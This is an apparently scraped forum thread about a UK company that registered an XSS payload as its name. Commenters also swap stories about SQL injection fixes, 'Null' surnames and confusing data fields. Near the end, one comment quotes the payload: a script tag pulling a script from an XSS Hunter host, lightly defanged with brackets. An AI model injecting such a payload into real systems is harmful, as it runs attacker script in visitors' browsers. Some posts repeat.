Little Bobby Tables, LTD
October 30, 2020 1:44 PM Subscribe
A UK business decided to make a splash with their corporate name = by formally registering a cross site scripting (XSS) attack as one, waiting to confound anyone who read the list of corporate names without sanitizing the results. (SLRegister)
The attack itself was designed to call a script from the XSS Hunter service, so it doesn't seem to be maliciously intended. However, the registrar has forced the company to change their name to "THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD".
The attack itself was designed to call a script from the XSS Hunter service, so it doesn't seem to be maliciously intended. However, the registrar has forced the company to change their name to "THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD".
Looks like Little Bobby Tables grew up and founded a company.
posted by tiamat at 2:11 PM on October 30, 2020 [8 favorites]
posted by tiamat at 2:11 PM on October 30, 2020 [8 favorites]
This is bringing back memories of that time I noticed that an in-house PHP application was stripping backslashes out of user tickets. I decided to look under the hood, since it was making Windows paths in tickets hard to read. Surely just a little fix, right? A little modernization in the database calls?
It turns out that the original developer was a strong proponent of the cut-and-paste style of coding. By the time I was done, the find-and-replace scripts I had created to fix it all had changed over 10,000 bad database function calls to properly parameterized ones.
The whole project took two or three months. I only got away with doing it because no-one was really paying attention to what I was doing at the time. So I know it's possible to fix problems like this, but I also know that few companies want to pay for it. Easier to put the burden on everyone else - anyone with a non-ASCII name, for example, or a last name of Null.
posted by clawsoon at 2:23 PM on October 30, 2020 [7 favorites]
It turns out that the original developer was a strong proponent of the cut-and-paste style of coding. By the time I was done, the find-and-replace scripts I had created to fix it all had changed over 10,000 bad database function calls to properly parameterized ones.
The whole project took two or three months. I only got away with doing it because no-one was really paying attention to what I was doing at the time. So I know it's possible to fix problems like this, but I also know that few companies want to pay for it. Easier to put the burden on everyone else - anyone with a non-ASCII name, for example, or a last name of Null.
posted by clawsoon at 2:23 PM on October 30, 2020 [7 favorites]
On a related note, do NOT ask for the custom plate "NO PLATE" or "NO TAG", unless you want to suddenly receive literal mail bags full of old citations.
posted by tiamat at 2:28 PM on October 30, 2020 [12 favorites]
posted by tiamat at 2:28 PM on October 30, 2020 [12 favorites]
Speaking of the last name Null, I noticed randomly (as one does) a few weeks back that the U. of Wyoming has a kicker on this year's football team named Nick Null.
I immediately prayed that he make every kick with which he's ever faced so that he can avoid having to deal with Null Punter Errors.
posted by riverlife at 3:54 PM on October 30, 2020 [50 favorites]
I immediately prayed that he make every kick with which he's ever faced so that he can avoid having to deal with Null Punter Errors.
posted by riverlife at 3:54 PM on October 30, 2020 [50 favorites]
I immediately prayed that he make every kick with which he's ever faced so that he can avoid having to deal with Null Punter Errors.
this would be a legfault
posted by secret about box at 5:08 PM on October 30, 2020 [30 favorites]
this would be a legfault
posted by secret about box at 5:08 PM on October 30, 2020 [30 favorites]
Apparently Nordyne Defense Dynamics is the parent of Kwik-E-Mart, according to the season 4 episode Marge in Chains. Some wag registered it in the UK? Seems like someone else had the same idea here in the U.S., in my Mom's old home town in fact. "Nordyne" by itself did refer to a legit HVAC manufacturer but now they go by Nortek I guess.
posted by traveler_ at 6:02 PM on October 30, 2020
posted by traveler_ at 6:02 PM on October 30, 2020
Their LinkedIn says they're a "business supplies and equipment company".
posted by dazed_one at 6:34 PM on October 30, 2020
posted by dazed_one at 6:34 PM on October 30, 2020
Along similar lines, the owner of ISP Andrews & Arnold got sufficiently fed up with broken HTML escaping a few years ago to register & LTD, and has other companies with silly names.
posted by offog at 6:41 PM on October 30, 2020 [1 favorite]
posted by offog at 6:41 PM on October 30, 2020 [1 favorite]
Did el Reg sanitize the XSS as a bit of a joke, or because they're actually concerned something in their website or something consuming it might not respect a pre tag? This ambiguity is kind of the cherry on top of their story.
posted by joeyh at 7:58 PM on October 30, 2020
posted by joeyh at 7:58 PM on October 30, 2020
I can never not chortle when I read, "little bobby tables"...
Huehuehuehue
posted by Windopaene at 8:52 PM on October 30, 2020 [3 favorites]
Huehuehuehue
posted by Windopaene at 8:52 PM on October 30, 2020 [3 favorites]
I once got in trouble when I didn't stop a team I was on from abbreviating our US / Canada unit "NA." It turns out the validation paperwork is very confusing if people constantly write NA in various entries.
posted by mark k at 10:14 PM on October 30, 2020 [5 favorites]
posted by mark k at 10:14 PM on October 30, 2020 [5 favorites]
This reminds me of the Irish traffic cops mixing up the "name" and "document type" fields on Polish driver's licence cards, which is how a guy called "Prawo Jazdy" racked up dozens of tickets.
posted by confluency at 4:30 PM on October 31, 2020
posted by confluency at 4:30 PM on October 31, 2020
The company name:
posted by 3j0hn at 8:06 AM on November 1, 2020">< SCRIPT SRC[=]HTTPS[:]//MJT.XSS.HT> LTD
Only without the square braces.
posted by inpHilltr8r at 8:44 AM on November 1, 2020
posted by inpHilltr8r at 8:44 AM on November 1, 2020
« Older Choose your Poison | What would you change? Newer »
This thread has been archived and is closed to new comments
posted by benzenedream at 1:52 PM on October 30, 2020 [3 favorites]